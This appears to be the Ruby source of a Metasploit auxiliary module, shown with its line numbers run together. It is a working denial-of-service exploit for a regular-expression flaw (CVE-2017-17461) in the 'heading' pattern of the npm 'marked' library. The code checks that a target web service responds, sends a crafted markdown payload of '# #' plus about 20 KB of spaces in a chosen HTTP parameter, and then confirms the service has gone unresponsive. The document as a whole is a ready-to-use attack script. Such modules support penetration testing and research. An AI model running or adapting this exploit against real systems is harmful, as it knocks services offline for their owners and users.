Path: blob/master/modules/auxiliary/dos/http/marked_redos.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'marked npm module "heading" ReDoS',14'Description' => %q{15This module exploits a Regular Expression Denial of Service vulnerability16in the npm module "marked". The vulnerable portion of code that this module17targets is in the "heading" regular expression. Web applications that use18"marked" for generating html from markdown are vulnerable. Versions up to190.4.0 are vulnerable.20},21'References' => [22['URL', 'https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not'],23['CWE', '400']24],25'Author' => [26'Adam Cazzolla, Sonatype Security Research',27'Nick Starke, Sonatype Security Research'28],29'License' => MSF_LICENSE,30'Notes' => {31'Stability' => [CRASH_SERVICE_DOWN],32'SideEffects' => [],33'Reliability' => []34}35)36)3738register_options([39Opt::RPORT(80),40OptString.new('HTTP_METHOD', [true, 'The default HTTP Verb to use', 'GET']),41OptString.new('HTTP_PARAMETER', [true, 'The vulnerable HTTP parameters', '']),42OptString.new('TARGETURI', [true, 'The URL Path to use', '/'])43])44end4546def run47if test_service48trigger_redos49test_service_unresponsive50else51fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")52end53end5455def trigger_redos56print_status("Sending ReDoS request to #{peer}.")5758params = {59'uri' => normalize_uri(target_uri.path),60'method' => datastore['HTTP_METHOD'],61"vars_#{datastore['HTTP_METHOD'].downcase}" => {62datastore['HTTP_PARAMETER'] => '# #' + (' ' * 20 * 1024) + Rex::Text.rand_text_alpha(1)63}64}6566res = send_request_cgi(params)6768if res69fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")70end7172print_status("No response received from #{peer}, service is most likely unresponsive.")73rescue ::Rex::ConnectionRefused74print_error("Unable to connect to #{peer}.")75rescue ::Timeout::Error76print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")77end7879def test_service_unresponsive80print_status('Testing for service unresponsiveness.')8182res = send_request_cgi({83'uri' => '/' + Rex::Text.rand_text_alpha(8),84'method' => 'GET'85})8687if res.nil?88print_good('Service not responding.')89else90print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')91end92rescue ::Rex::ConnectionRefused93print_error('An unknown error occurred.')94rescue ::Timeout::Error95print_good('HTTP request timed out, most likely the ReDoS attack was successful.')96end9798def test_service99print_status('Testing Service to make sure it is working.')100101res = send_request_cgi({102'uri' => '/' + Rex::Text.rand_text_alpha(8),103'method' => 'GET'104})105106if res && res.code >= 100 && res.code < 500107print_status("Test request successful, attempting to send payload. Server returned #{res.code}")108return true109else110return false111end112rescue ::Rex::ConnectionRefused113print_error("Unable to connect to #{peer}.")114return false115end116end117118119